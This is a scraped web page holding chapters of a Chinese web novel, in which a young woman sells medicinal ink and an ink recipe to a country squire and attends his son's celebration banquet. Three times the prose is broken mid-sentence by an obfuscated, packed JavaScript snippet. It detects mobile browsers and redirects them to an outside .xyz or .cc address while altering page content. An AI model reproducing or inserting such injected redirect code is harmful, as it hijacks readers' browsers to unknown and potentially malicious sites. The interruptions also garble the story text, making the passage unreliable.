虽识得了字、读得懂书，也勉强能作得几篇白话文章，可真论起学识，瑛娘是丁点儿不敢自夸，更无慧根礼佛，亏得有此一世因缘，禅学佛法都叫她背得滚瓜烂熟，又经年抄写，这才没写毁纸张。 而默写所用文房四宝亦皆是她曾跟随古匠传人学成后的制品，因那时她已用惯了“苦禅”这一名号，制品之上便都留了“苦禅印”。 可惜匆匆一世轮转，完成“绩效”之日，那宝玉印章也被她送给了好友留念，如此这一世再想要，也只得先寻得一方好玉，再写好了字样托人重制一方。 不过丰县不尚玉，寻好玉当去府城才好，可眼下还有别的紧要，瑛娘只得暂时按下念头。 待得三月下旬，陆续有村人送来早熟的艾草及鲜槐，瑛娘便收了纸笔先忙活今年的营生。 一年需用的颜料及香露费不得多少时间，但除了艾绿，槐花香露也需补充昨年没能赶上多制的量，瑛娘依旧叫了林氏与何氏帮忙，赶在艾草大肆丰收前先蒸得了五百瓶槐花香露，取四百入仓存备。 此外，瑛娘还预备先放一批药墨出去稳固一下大儒无心之下替她攒来的声名。 但此事不宜只叫章文德帮忙，待得四月下旬交付颜料、花露之际，瑛娘又单备了一只箱笼，装了这些时日默好的《六祖坛经》及三十五方药墨、两方仓存的上佳油烟墨，只待进城寻得机会，再与章文德背后东家及书肆掌柜谈谈合作的可能。 春耕忙碌，今年尤为紧张。 大王村各家各户都盼着老汪家教授胡麻种植之法，待得瑛娘进城之日，连林氏都去了村人家里头讲说，只剩云氏与何氏在家里忙活。 如此一来，徐氏便是再放心不下，也只能眼巴巴瞅着瑛娘独自个儿赶了车往城头去。 好在大王村去往丰县也不过三刻车程，一路沿着大道疾驰，别说流氓之辈，就是寻常往来者瑛娘也没遇着一个。 进城之后，瑛娘自是先至杂货铺子交付。 四色颜料与槐花香露结银合计一千二百余两，瑛娘收下银箱，不及装入背篓，便先取了提前备好的油烟墨与章文德。 油烟墨香不及八宝药墨，手感亦不如药墨玉润，不过见其上印“苦禅”，章文德心头也是百念一转。 “瑛娘家中能人辈出，这墨想必就是此前你有意与书肆代销的那种吧？” “确是。” 瑛娘最初却是未曾考虑直接售卖药墨，待询得墨价才改了主意，因而此答也不算撒谎。 墨锭完整，章文德也不好磨了试色，只抚须一笑，试与瑛娘报了个心理价，“昨年借大儒之口，‘苦禅’这一名号也算入了书院学子的耳，我与东家商议后也借势与书肆的掌柜探了探口风。药墨外销，一方可售至三五两金，若有同出''苦禅''之手的普通墨，也能售至一方十两银的高价。” “我记得东市书肆外销的好墨是龙柱墨？” “是也。龙柱墨也曾受盛京一位权贵称赞，因而售价虽不及贡墨，却也深受学子追捧，卖得十两高价。” 贡墨非寻常人能用。 而龙柱墨是松烟墨种，比之油烟墨更显贵重，但书肆既敢放话同价，自然也是想借机吃上大儒声望的利。 而药墨喊价至三五两金，比之贡墨还翻了几倍，想来那位大儒的身份确是不同寻常。 章文德与瑛娘实话，也是希望她能好好考虑售价。 一来，两方有交情，能双赢自然最好。 二来么，章文德背后东家也是想借机与瑛娘卖个好，以提醒她墨能卖得高价，也是多亏了他们家小与大儒搭上了线。 瑛娘与章文德也往来了两年余，听及便笑道：“今日备的两方墨是送与章叔作礼的，至于药墨……章叔知晓制墨本钱及工期，我心头亦有一本明账，这墨价早已定好，不会借大儒口碑平白多添几成。只是书肆那头我还有别的打算，因而药墨买卖，也不能尽数交与章叔来做。” 章文德一听却是喜意剧增。 好墨他不值当用，自然乐于替瑛娘送与东家及公子做脸，当下最紧要的是能替东家揽下一部分药墨买卖，无论来日送去府城亦或更远些的繁华之地，其中利益非是一两成小利。 “那瑛娘打算今日便敲定这门买卖么？” “药墨不宜多售，因而今日我只带了三十方来好叫章叔便利，一方作价二十两银，余下五方我得送去书肆试试，若能谈成，一方便算他二两金，章叔以为如何？” 十方墨锭需得本钱十三两银，还有人力、工期计算。 而二十两银兑等一两金不到，相当于这批药墨一经过手，只要操作得当，转手就能盈利百余两金，此价任谁也说不出一句违心的“价高”。 章文德心知瑛娘这是当真与他便利，自然满心愿意。 至于书肆那头，先头东家属意他打探，书肆掌柜该也猜到了他们与“苦禅”有过往来，那五方药墨便是叫他们买去，多半也是送与书肆背后的东家作礼，于他们而言利大于弊，便是舍了也无妨。 “瑛娘属实诚意，就是不知后续能有多少？一年可有保数？” 物以稀为贵。 天下读书人不知凡几，别说瑛娘，就是章文德也深知不可竭泽而渔。 且药墨制作不易，眼下老汪家人手不够，瑛娘却是想以另一种方式做成这门买卖，闻言只道：“确有另有一主意，就是不知章叔东家是否方便面谈。” 读书人的买卖可不好做，如今东家也是借大儒之势稍行其事，章文德不敢替东家应承，结了三十方药墨的钱，才与瑛娘应道：“说来也巧，东家今日就在城中与商队管事会谈，瑛娘且等至午后，待我与东家传信，届时在西市福云茶楼碰面详谈。” “成，那我过晌再去西市与章叔汇合。” 说定此事，瑛娘先驾车去了一趟中人屋舍。 三房吃了一回亏，这回新租签契便直接签下了五年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060412|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长契，更是给与牛二三年租子作定。 牛二代租能抽利半成，瑛娘懒得与他细算，便叫他先取了五年的利钱，如此只需结与她三年租金合计九十九两银。 五年利钱足有九两银，牛二喜不自胜，又说及城中房价涨势，“咱们丰县出了个才子，连带着城头的房价也涨了不少，先头与你说过的甜井巷院子眼下已是涨至一千二百两银，屋主吃准了高价，更是捏着不肯卖，而晏公坊、木杓巷、竹马巷也提价二百至一千两不等，你若还有意置产，怕是只得过两年再看。” 名人效应无论古今。 瑛娘也不是非买房不可，置之一笑，又问牛二可知府城房价如何。 “府城啊……同等的商铺，汪小娘子花五百两能在丰县买得，在府城却得三千两银往上。院子更甚，起价便是一千两，那还是靠近城墙根儿头的旧院子，如甜井巷院子那般的少说也得二千两。若是租赁，商铺通常年租二百两银，院子多按月计，一月需得三十两银。” 实际上，愿意花钱在府城租住的多是府学学子，如那等自偏远地来参考的学子，通常也只待临考再入城租住寻常人家的空房或行客栈。 房价如此，商铺更甚。 府城之中普通商户根本买不起商铺，通常整街一联排的商铺皆同属一位东家，只寻常边缘的小商铺才对外出售，故而寻常商户只能赁个铺子挣些辛苦钱，再差些的也只能在街头摆摊，亦或于坊市游走叫卖。 如此，府城买卖市场近乎被豪商垄断，外地商户若无坚实后盾，初入府城实难存活。 “多谢牛二叔告知。” “外道了不是？叔总不能眼看你吃亏。” 亏得牛二不知瑛娘是想入府城做冰饮买卖，不然还得劝上两句。 离了中人屋舍，瑛娘顺道又去商铺看了看三房与前铺主的情况。 得益于独一门的薯粉粉条，三房这一轮“商战”算得强势取胜，不过众口难调，三房人力不足，前埔主也捡了不少便宜，如今两家也算平和营生，总归没叫食客吃得吵闹厌烦。 见三房母子忙得不停，瑛娘也懒得去凑热闹，转道去饭馆简单对付了一餐，又送了香露与戴娘子，这才寻了西市书坊去。 西市书坊与东市书肆系同一东家，瑛娘入坊便说破了来意，直取药墨叫书坊掌柜说话。 书坊掌柜未因瑛娘年纪小就低眼看她，思及此前她曾与章文德同进书坊，留字正是“苦禅”，又见药墨上印“八宝五胆”，不似近来于市面流传的假“苦禅墨”，不由多信了几分。 不过此墨毕竟牵连大儒，书坊掌柜也未尽信，只叫瑛娘签下契书，确保此墨是为正品。 “还请娘子勿要多想，毕竟一两金一方墨，若是东家问起，我也好有凭证取信。” “自然，契书内容便请掌柜来写。” 作证的契书无需官府加印，书坊掌柜写得详尽，瑛娘看过无误便签了字。 书坊掌柜这才露了笑，“可惜量少。汪娘子往后若再得苦禅墨，还请多舍些与鄙人。” 瑛娘自无不应。 “五方合计十两金，汪娘子是要现银还是交子？” “还请掌柜与我现银。” “可。” 50. 秦放 药墨售出，瑛娘才与掌柜提及此前亲手默写的《六祖坛经》。 西市书坊也常代书院学子售卖手抄本，眼下将将做成一笔买卖，掌柜自然愿听瑛娘多言几句，待得书页入手，观其字迹、落款，掌柜才骤然一惊，“确是出自''苦禅''的手抄？” 她即苦禅，瑛娘自然点头应“是”。 掌柜长吁一口，翻看手抄的动作倒是轻了不少。 有药墨声望在前，“苦禅”在众学子中也有了一定的声名。 且这手抄字迹看来完全不输潭徽书院讲义的先生，用纸也是上佳的好纸，若能将其装订成册，想来也能卖个好价。 只是这手抄内容为《六祖坛经》，不好佛法者恐怕也难读懂其中禅意，如此，倒也限制了手抄受众，还得另寻好此道的权贵亦或富家娘子，借此投其所好方可成事。 然，掌柜在心头过了一遍丰县人脉，却是想不出任一喜好的佛法禅学的人来，只得微含歉意，与瑛娘实话，道：“汪娘子，咱们丰县怕是没人吃得下你这手抄，若此事不急，不如与我一些时日，我求东家往府城送一送。” 府城权贵不可同日而语，若东家行事得当，这手抄应也能叫东家拿去作一份体面的礼。 手抄价格不比药墨这等实物清楚界定，掌柜心头自有一台秤，只待瑛娘同意便能磋谈议价。 瑛娘倒是无所谓这手抄最终卖与何处，毕竟当下愿买手抄的人多半是为了“贴近”大儒，故此追一追“苦禅”之名，瑛娘闻言便也未多犹豫，当即点头应了掌柜。 掌柜亦松了一口气，笑与瑛娘议价，“这手抄恐怕有上万字，眼下有两种代销之法，端看汪娘子想选哪种。” 上万字的手抄通常成册外销，字迹、名望皆能作价。 按书坊的行事习惯，买断这本“苦禅”手抄少说也能给到一册五十两银的高价。 而另一种代销之法，则是先由书坊寻得买家，待得售出，再由书坊抽利两成。 书院学子常用第二种代销之法，毕竟书坊只抽利两成属实算得良心，而买断手抄，价格也是由书坊先行判定，卖高卖低皆由书坊自行承担。 瑛娘不欲与书坊计较得失，自然选了买断结银。 掌柜也是更属意如此，见她爽快，便做主给了六十两银买断。 需知，六十两银足够以原价买得一百一十石稻米，瑛娘自觉满意，收下银钱，又与掌柜道过谢才驾车离去。 时至午后，也该去往茶楼与章文德及其东家碰头。 福云茶楼不难寻，整个西市当属此楼最为显眼。 瑛娘到时已有小二在外相迎，待得进了三楼雅间，才知章文德与其掌柜还需得一刻才能赶来，特意差人告备茶点，好叫她来能安心坐等。 茶楼地处丰县当中，雅间窗台可观半城风光，好茶果点齐备，如此等上一、两刻也不值当什么，瑛娘从善如流，屏退小二，只管品茶静心。 等待不及两刻，楼道传来动静。 瑛娘占小，听得动静自然主动相迎，待章文德先了半步为东家推门引路，她先唤了一声“章叔”，才见一笑脸男子紧随其后入了门内。 此男子面相约摸年近不惑，或因时常笑脸迎人，眼下、嘴角都有明显笑痕，看来倒是面善和蔼。 但生意场上这类笑面虎最是不好相与，瑛娘心头隐隐有了底，四目相对之下，也下意识带上了一抹纯善的笑，“想来您就是章叔时常提起的东家了。小女无状，今日烦扰东家，还请见谅。” 男子未语先笑，视线扫及窗边桌案上明显动过的茶点，再看瑛娘却是不动声色，“鄙人秦放，想来倒是与汪小娘子有缘，因而无需客气，只管唤我一声秦叔即可。” 瑛娘有些愣怔，未及发问，又听章文德笑道：“今日与东家细说才知你家长辈与东家早有往来。说来……昨年送你的新糖还是你家祖母往两年舍与东家的方子制得的，怎的以前也没听你提过？” “东家……秦叔竟是上湾村的秦老爷？” 瑛娘哪儿吃过打北地来的糖？便是尝了新糖的味儿，她也只当糖味大差不离。 加之此前她也忧着粮价，当真没将这等小事放到心上。 秦放“哈哈”笑，点了门外侯着的小二换上新茶点，这才招呼瑛娘与章文德一同坐下。 瑛娘自然不待客气，章文德亦知秦放为人，知他并非只是言语客气，连声招呼瑛娘一同坐下。 待得新茶点上桌，秦放才微敛笑容，先道：“你我两家既然有缘，这门买卖我便推心置腹地谈也无妨，只有一点，需得汪小娘子知晓。” “秦叔但说无妨。” 秦放微笑颔首，道：“此前你家与老章合作的几门生意都叫我赚了不少，但此番大儒赠字，算来也是你家长辈先沾了我家小子的光，汪小娘子以为呢？” 声名经营不易，若非秦家公子拜师与了便利，仅宣扬“苦禅”之名瑛娘就得多费几年功夫。 眼下秦放提及此事，瑛娘自是认得心甘情愿，“确是如此。” 见瑛娘面无异色，秦放也笑得真诚，“既如此，便请汪小娘子说一说合作之法。” 秦放直入正题，瑛娘便也不与他话左右。 “药墨涉及秘方，其中用料也是精贵，寻常不可多得，因而这回合作买卖之墨乃是另一种烟墨，秦叔可能接受？” “此事老章已与我说过，新墨也已试过色，你且继续说。” “成。” 瑛娘此前所想合作之法有两种。 其一，即秦家买断配方，二十年内瑛娘不得将此配方卖与他人，十年之内亦不能自制外售。 其二，则是由瑛娘控制配比、秦家出原料及人力，待墨成之后售出再按四六分成。 就利润而言，自然方法之二最佳。 但烟墨制作少说需得一年两载之久，其中所耗人力不可细算，且如今王权更迭，当头的那位还不清楚是个什么秉性，万一出了什么意外，几年合作下来反被工匠琢磨透了配方，这门买卖便是白送。 与人为善，却不可尽信他人。 因而几经思量，瑛娘倒觉得最轻省的办法是叫秦放直接买断墨方，不管好歹皆由他一人承担，如此也免去将来难以避免的纠纷。 秦放自然也属意买断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15063687|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当即就要瑛娘报价，瑛娘也不多言，开口就要五百两金。 普通烟墨成本约摸在半两银上下，秦家有钱有人，一年制得十万方墨也不算难事，如此只要墨成，一经售出即可获利九十余万两，因而五百两金买断二十年权属绝对不亏。 只是秦家此前并未涉及这一行业，想要做成这门买卖，前期必定需得付出更多，且此事关系大儒及亲子，行事更须谨慎，因而一听报价，秦放便先考虑到秦家未来。 瑛娘也想了许多，见他迟疑，便又开口道：“秦公子既得大儒青睐，想必将来前途无量。既如此，秦叔何不就此抓住时机，先为秦公子钻营一番？” 为官之道并非多读书、读好书就能顺利。 秦老爷如此年纪便做成了乡绅，想来不会不懂钻营之道，不然此前也不会借大儒之势与瑛娘卖好，进而相谈制墨买卖。 而这门买卖前期付出虽多，可后期成了事儿便不只是谈商，毕竟文房四宝虽属“商业”，经营的却是读书人的往来关系，如此，秦公子前有大儒提携，身后又有经营墨业的家世，普通商户学子当是无法与之相提并论。 这般浅表的道理秦放不会不懂，瑛娘见他面不改色，心头也有了定数，继而为自己加码，道：“先人留下的方子非只此两种墨。秦叔只管先做这门买卖，将来销路稳固，我还有造纸的方子与秦叔合作。” 听及“造纸”，便是秦放也眉头一跳，章文德更是瞠目结舌，偏偏瑛娘泰然自若，说完便低眉喝起了茶，如何看来也不似夸大。 章文德不自主屏住呼吸，待得秦放沉默片刻，瑛娘放下了茶杯，才听秦放招呼他去银楼取来现钱。 “便按汪小娘子所言，我出五百两金，买断墨方二十年。” 瑛娘这才笑了，自茶案便放置的背篓里取出自备的笔墨纸砚推给秦放，好叫他亲手立契，“我不外道，秦叔今后亦可唤我瑛娘。” 砚台、笔杆之上刻印“苦禅”，纸也远比东市书肆所售细纸更好，秦放猜测此纸便是瑛娘家中自制，笑叹一声，却是无甚言语，提笔书写三份契，继而写下自己的姓名。 契书立成，瑛娘便简言写下墨方，又与秦放细说，道：“此墨乃桐油烟墨，取上好桐油，加猪油、生漆合炼，猪油可增烟量，大漆可增黑度。如此调制之后烧得油烟，洗去尘渣放置一年阴干即可和胶制墨。” “制墨配比即一斤油烟一斤胶，胶以牛皮、牛骨熬制即可。此外，制墨还需按比添加金粉、朱砂、龙脑、珍珠粉、麝香，和匀后以方锤捶打，待得烟、胶相融方可称重入模。” “压好的墨锭修边放置，上、下皆可铺一层草木灰，以细纸相隔避尘，吸湿半月，再悬挂半年，描金上蜡。这般制成的烟墨落纸如漆、经久不退，纸笔不胶、丰肌腻理，便是卖上十两一方也不堕大儒之名。” 秦放听得仔细，一字一句与墨方比对过，将方子配比记下，这才折纸放入怀中，“既然叔侄相称，秦叔便也不与你客气，制墨事宜还需辛苦你再指点过匠人才好，毕竟时长久矣，出了纰漏可不成。” “成，届时秦叔只管使人到大王村寻我。” 51. 秦彧 五百两金入手，瑛娘才总算有了去府城的底气。 不过府城之行不宜操之过急，瑛娘取了现银便驾车回了村头，只待七月里秦放差人送了信，她才随车去往上湾村。 上湾村秦老爷素有美名，徐氏倒也放心，不过转头还是支使了云氏跑一趟，借口叫她去云家看看女儿、外孙，顺道再给老徐家送些皂和薯粉去。 云氏自然乐意，当真收拾了包袱，拉着玥娘撇了汪点柱驾车往上湾村去。 瑛娘看得好笑，半道又借口歇脚喊停了车，取了八锭百两的银元宝用陶罐装好，叫云氏带去云家交给云客。 云氏心知瑛娘挣了不少钱，可眼看她一出手就是百两计，也是惊得不轻，“拿这般多给阿客作甚？！” “这八百两是今秋收粮的花用，兴许得劳烦姐夫跑远些去收才够，多出来的便算作工钱。” 云氏倒吸了一口气，却是算不出这八百两能买来多少粮，“今秋粮价还未知晓，能用上七八百两吗？” “若按粮商收购的价格来算，自然用不上那般多，但我们不是粮商，便按从前的粮价来收也无甚所谓。” 瑛娘打算今秋收来一千石稻米、五百石新麦，若能遇上种番薯的，再收万把斤番薯存备，如此便无需去城头粮铺高价购买。 “这般多！还是叫阿客运去城头再收么？” “嗯，十月里娘再与我去租用带院子的铺面，此前姐夫收来了粮便先堆在家里，待铺子租好再往城头运。” 云氏不知说什么才好，叹了口气，抱着陶罐回了自家的骡车上。 两车并行，很快，上湾村便至眼前。 秦府与老徐家分属两头，进了村自然不好再同行，云氏道别瑛娘，打老徐家走了个过场便一路快行赶到了瑾娘小两口家。 且不提瑾娘眼见八百两现银是如何惊讶，瑛娘入了秦府却是撞上了旬假在家的秦家公子。 瑛娘身量早已不同往日。 秦家公子讶于生人出入自家宅院，却是没能即刻认出她即此前与自己有过几面之缘的少女，听得引路的管家介绍，才恍然惊觉眼前容貌、举止都不似寻常农女的少女竟就是他爹与章文德百般夸赞的“苦禅”，当即微微躬身，拱手一揖，“晚生秦彧，无状唐突，还请见谅。” 十八岁的书生还有些生嫩，但相较初见时，这位秦家公子面容五官已是长开了不少，瑛娘一见便更觉心喜。 可惜这位公子头顶还悬着朱笔，指不定来年就能落定，而她如今又与秦老爷多做了制墨的买卖，确是不好再多肖想，当即错过半步，避开了秦彧的敬礼。 “东家公子实在客气，今日造访只为与秦老爷洽谈事宜，便不多打扰公子休息。” 瑛娘目光清正，秦彧忽而意识到自己称谓有误，却是红了耳根，匆忙敛下眉目，囫囵道了句歉意便先行离开了前庭。 秦家当家和善，公子又是个大有出息的，秦家当差的管事、杂役行事便也自在，引路的管家更是看着秦彧长大的老人，见状便先笑了起来。 不过眼下还有正事耽搁不得，瑛娘又无意多话，管家自然不会与她多道主家私话，只客气招呼过，便将瑛娘引至客厅。 客厅里不止秦放安座。 瑛娘入厅便受三人瞩目，秦放起身招呼，这三人也随即站起，虽说嘴上客气，却也多少暗里打量瑛娘。 瑛娘只当看不见，张弛有度地与秦放问过好，待得他先落座，方才安心坐到了他下方首位。 且不论秦放心头更添两分欣赏，待三位管事与瑛娘见过礼，才开口与她介绍。 “瑛娘，这三位都是我手头得用的管事，方子只叫我一人记住也是无用，今日便辛苦你看着他们动手做一做，也好叫他们确保无误了再去教导下头的工匠。” 制墨并非寻常行当，为防方子泄露，秦放只能分工而治，叫三位管事分管取烟、和胶、打墨三道工序。 其中配比和胶最为关键，秦放便挑了打小跟在自个儿身边的家生子秦春来分管此项，其他卖力的活儿则交给别人来做。 如此管理瑛娘自然无甚意见，查验过辅料、用具，确保无甚错漏，才叫负责分管取烟的先烧一碗桐油来试试手。 秦放手下有独立的商行，买来好油不算难事，瑛娘便是见过后世种种，再看秦放挑选的桐油也难免道一声“好”。 “此油纯度最高，我想着既要做，便尽量做到最好，瑛娘以为如何？” 瑛娘自是赞同。毕竟桐油纯度高，取烟便更容易。 取烟还需耐心。 负责分管取烟的管事恰是最具耐心者，照秦放嘱咐只取上层好烟，待几盏油烟取来称重兑算，竟是达到了一斤桐油一两烟的比重。 瑛娘确是没料到秦放只凭一纸墨方便琢磨到了这种程度，抚掌称好，又叫管事继续洗烟。 清水洗烟意在清浊，管事做得不错，瑛娘便如实道：“此项做来无误，秦叔只管叫管事照此做法教导工匠。” 万事不可滞待，秦放从不做无准备的买卖，任此管事操作一番，又叫秦春上手熬胶、调配辅料，其后又借此前烧来烘干备用的油烟，叫来另一位管事一通揉打，如此倒也能叫墨块成型。 墨块成型便可称重压锭，模具里留刻大儒赠字“苦禅墨”，压锭之后简单修边、描金，一方墨锭便算初成。 “该是无错？” “嗯，几位管事都做得很好。” 烟墨未干，制得的墨锭成色自然不多好看，秦放本意也是叫瑛娘先掌掌眼，别叫今后负责分项的工匠有所错漏，眼下瑛娘点头认可，他便也安下了心来。 “如此，我便安排工匠开工制墨了。” 大事既定，瑛娘便不欲多待。 但秦放再三挽留，瑛娘也不好多作推辞，只得留下吃过晚食。 席间秦夫人倒是开口留她住宿，但瑛娘自觉还未与秦家相熟至如此地步，只能顶着秦彧不可置信的目光婉言拒绝，披星戴月乘车返家。 此间事了，瑛娘难得又清闲了下来，恰是天热时，瑛娘又琢磨起找硝制冰的事儿来。 不料时人只用硝制作烟花爆竹，但因此物易燃，寻常皆由官府把控，瑛娘找了章文德，章文德又求了秦放帮忙走动关系，这才从府城买来了十斤。 要做冰饮买卖，十斤硝石可不顶用。 瑛娘遗憾之余倒也没想试探官府底线，只每隔几日取三两硝石制冰，躲着外人吃上几回冰镇的果饮，暂时按下了自己熬硝的想法。 待得九月里忙过农闲，二房父子腾出手来整合村头今年收来的胡麻摇油，瑛娘也忙活起自个儿的正经营生来。 匆匆备下来年所需，忙过一季，便至新春。 今年因着药墨及墨方买卖，瑛娘拢共得了五百一十两金，其中书坊得来的十两元宝瑛娘直接送与了云氏做年礼，剩下五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068679|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百两整则作备用，另取了一只箱子分装入仓。 趁着闲时无人打扰，瑛娘又清点了一遍仓中存备。 除金元宝外，整存的百两银元宝刚好六十枚，零散的碎银待给过林氏、何氏昨年的工钱，倒是只剩得十三两银并一百八十文铜钱。 此外，仓中固存银镯、银簪、玉簪，农田、商铺地契，颜料五色各一千二百扣，三味花露各四百瓶，口脂五百瓶，药墨七十方，鹿角、鳔胶未动，其中存粮才是大头—— 稻米两千石，生麦一千石，江米五十石，番薯两万斤，还有前年收成的落花生八十斤，今年收的胡麻三百斤。 这些存粮足够大王村整村人三年消耗，便是遇上灾年也能保一隅温饱。 不过前有胡麻地收成顶了地税，又有瑛娘出钱买花、买草，村人的日子也算过得滋润，该也能存下不少粮食，一时半会儿也不需得瑛娘来操心。 等到春耕之际，新一年的胡麻下地，家家户户心头更是松快，少有几户更是拾掇出几亩中田加种，只待来年攒点银钱里改善家居。 春耕之后，瑛娘便待及笄。 村头女子及笄少有铺张办席的人家，今年大王村却是开了先河。 四月下旬徐氏便开口要给瑛娘办及笄礼，此番着实叫老汪家一众惊讶，不过这几年来整家儿靠着瑛娘挣了不少银钱，掌着公中的徐氏发话要办，下头的几房都抹不过脸来反对，自然任徐氏安排。 不过既然要办，开席之前自然也少不得流程。 女子及笄便可挽发簪钗，云氏作为亲娘，如今手头宽裕，送上一支价值十两的银簪自是无可厚非，但谁也没料到徐氏竟也大方地送上了一对足有五两重的金臂钏。 有徐氏在前，三房陈氏也无比庆幸早与四房何氏商量好要一人送瑛娘一支价值十两的银钗作成年礼，眼下要办席，正好拿出来在人前做脸。 原本二房林氏这般抠搜的人这回也舍了份厚礼，这会儿见了妯娌送的东西，忍不住恨恨瞪了陈氏与何氏一眼，才干巴巴笑着送上一对五两重的银镯，殊不知自家大儿汪会早与三弟汪辰一通合计，私下里合资送了瑛娘一支价值五十两银的翠玉发簪。 除此之外，章文德也赶在席间给瑛娘送来了一份厚礼。 章文德毕竟只是签了契的管事，身后还有家小，这回便只送了一支打府城买来的飞燕银簪，倒是秦放，不止送来了一套价值五百两银的翡翠头面，还特意叮嘱章文德带了话来。 “公子昨年乡试得了解元之名，之后便一直跟随大儒在盛京备考。二月里东家夫人放不下心先一步跟了去，前头却是传了信来，说是公子得了二甲头名！东家大喜，四月里便整队前往盛京准备接夫人与公子回乡祭祖开宴，眼下该是回程了，却也赶不上瑛娘的大礼，还望莫怪啊！” 二甲头名。 名列前茅，若留官盛京，多半会被授以司务或协律郎等八品官职，若其放得下眼前利益选择外放，搏一搏七品县令之职亦无不可。 总归十九岁的进士前途无量，更妄论瑛娘与秦家本就有着利益往来，如此大好之事，瑛娘怎么可能怪罪秦家不出席自己都不在意的礼宴？ 瑛娘招待章文德入座，待得茶水就手，才柔声闲话，道：“公子大才，届时开宴庆贺，还请秦叔留一席与我，待我送上贺礼。” “放心！东家临行前便已安排妥当，届时开宴定会邀你入席同贺。” 52. 增种 秦彧还乡正值五月下旬，开祠祭祖之后定期六月初三开宴庆贺。 秦老爷惯会处世，定了宴席时间便使人送了两份请帖来，其一与汪家，其二则点名请了瑛娘个人。 乡绅相邀，便是不多熟悉，老汪家也忙前忙后的备礼以待出席，只是秦家如今算得脱了农籍，这礼倒是不能按寻常贺礼来备，徐氏左右寻不得好物，索性把压力给到汪木匠，而汪木匠思前想后，却是叫徐氏舍了些钱来买得好木材，叫上汪点水给自己帮手，亲手打了一套书柜来。 只是时间匆忙，这书柜没得时间上漆阴干，汪木匠也只能叫上瑛娘，让她到时帮忙解释一二，“若秦老爷家看得上这书架，就请他们自个儿刷漆阴干，若看不上，丢在杂物间放放小物也成。” 这书柜打得确是不错，用料也佳，瑛娘自然点头应下，扭头又去清点自己的仓储。 秦彧是新科进士，不日便会授官，贺礼不好以金银敷衍，瑛娘索性刨除此世所得，只看从前所做的好物，挑挑拣拣，选来一套自觉还算满意的文房用具。 笔是选用上好黄鼬尾毛与黄花梨制成的狼毫，砚是开化石雕磨的龙纹暖砚，二者以酸枝木箱笼盛装，当得一份大气的好礼。 初三正日，此礼奉于人前，当是满堂客都讶于瑛娘的大方。 章文德还怕瑛娘不知此礼贵重，拉了她私下询问，得知此礼是她自备，也是惊得许久没有言语。 因由无他，却是此番随礼的汪家一众如何看都不是那等风雅的工匠，偏这话不好与瑛娘言明，章文德只能猜测这两门手艺都是瑛娘打别的长辈手头学来的。 唱礼入册，管家不敢叫杂役上手，只能先与宾客告饶，亲手将礼送与秦彧。 秦彧自幼在外读书，与乡邻并不熟悉，便是同宗族人也只年节祭祖时才得相聚，因而此番虽是为他功名庆贺，前头待客的却是秦放及秦彧之母徐雪芝。 管家单拿了礼来，秦彧才放下了骏阳府文册，听及此礼是“汪瑛”所赠，愣了半晌也未记起其为何人，只得问管事：“可是族中表亲？” “是昨年过府教管事制墨的汪娘子。” 提及制墨秦彧才忆起瑛娘音容，但随即又记起自己当时以晚辈自称，事后才知她年岁比自己还小上三四岁，只是一直与秦家生意往来，又得了老师赠字扬名，这才叫家中管事皆以平辈之礼相待。 眼下拿着瑛娘所赠厚礼，秦彧登时有些哭笑不得，心道这位汪娘子此番赠予如此厚礼，莫不是也将他当作了晚辈？ “阿叔，若我没记错，汪娘子该是今年及笄？爹娘可有备上厚礼？” “公子安心，五月初老爷夫人便托章管事带了礼去贺汪娘子及笄，方才我见汪娘子簪发所用就是那套头面其中一件，想来该是十分喜欢的。” “如此便好。” 徐雪芝好玉，与得她喜欢的同宗女眷备礼多用独山翡翠或蓝田暖玉。 此前徐雪芝备与瑛娘的头面确是一组独山翡翠，其色清透，玉质细腻，瑛娘今日所簪便是其中一件浑然天成的水草纹簪，近来瑛娘簪发几乎都用此簪，可见是真的喜欢。 宾客盈门，秦彧也不好再一人独处，索性有此一出，便随管家一同前往庭院见客。 先头开祠祭祖已然与同宗亲朋见过面，今日见客便以秦放生意往来的朋友为主。 秦彧到时秦放与徐雪芝正与瑛娘笑叹制墨之艰辛，见秦彧到场，秦放连忙朝他挥手，待人走近才与瑛娘介绍：“我儿秦彧，表字寻章。此前总是不凑巧，未能叫你们好生相识，这回可算得了机会！” 说罢又与秦彧道：“瑛娘小字苦禅，此名你该也听你恩师提过。咱家书房里头当中挂了几年的字便是瑛娘所赠，你娘还说将来若有幸得了孙女，定要叫她取来临摹。” 秦放热情介绍，殊不知两人早已有过几面之缘。 但瑛娘不说，秦彧也不提及，两人客气见过礼，便随秦放与徐雪芝入席就座。 入席后难免再提制墨适宜。 自匠人动工已有一年，秦放估摸着油烟阴干程度大差不离，只待年底便能出一批成品。 